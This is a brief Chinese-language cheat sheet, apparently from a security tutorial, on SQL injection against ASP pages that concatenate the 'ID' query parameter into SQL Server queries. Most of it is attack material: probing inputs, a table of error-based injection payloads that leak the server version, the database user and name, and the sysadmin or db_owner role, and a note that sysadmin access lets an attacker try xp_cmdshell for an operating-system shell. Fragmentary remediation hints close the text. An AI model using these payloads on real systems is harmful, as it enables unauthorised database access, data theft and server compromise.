ASP 程式以字串拼接方式構建 SQL:
strSQL = "SELECT * FROM Info_Article WHERE ID=" & Request.QueryString("ID")
若輸入 12 → 正常查詢;輸入 12' → 語法錯誤,證明存在注入點。
article_show.asp?ID=12' → 回傳「未關閉引號」錯誤 → 確認可注入。ID=12 AND 1=2 → 頁面內容消失/異常 → 盲注可能。Type mismatch: 'CInt' 等強制轉型錯誤 → 參數已驗證,注入困難。| 目標 | 注入 Payload | 錯誤訊息範例 |
|---|---|---|
| 版本 | ID=(SELECT @@VERSION) | 將 nvarchar 'Microsoft SQL Server 2000...' 轉換為 int 失敗 |
| 登入用戶 | ID=(USER_NAME()) | 將 nvarchar 'webuser' 轉換為 int 失敗 |
| 資料庫名 | ID=(DB_NAME()) | 將 nvarchar 'sitelog' 轉換為 int 失敗 |
| sysadmin 角色 | ID=(SELECT CHAR(115)+CAST(IS_SRVROLEMEMBER('sysadmin') AS VARCHAR(2))) | 將 varchar 's1'/'s0' 轉換失敗 → 1=是, 0=否 |
| db_owner 角色 | ID=(SELECT CHAR(115)+CAST(IS_MEMBER('db_owner') AS VARCHAR(2))) | 同理 |
sysadmin → 可嘗試 xp_cmdshell 取得作業系統 Shell。db_owner → 可建表、讀寫任意資料、備份資料庫。Command.Parameters、sp_executesql)。db_datareader/db_datawriter。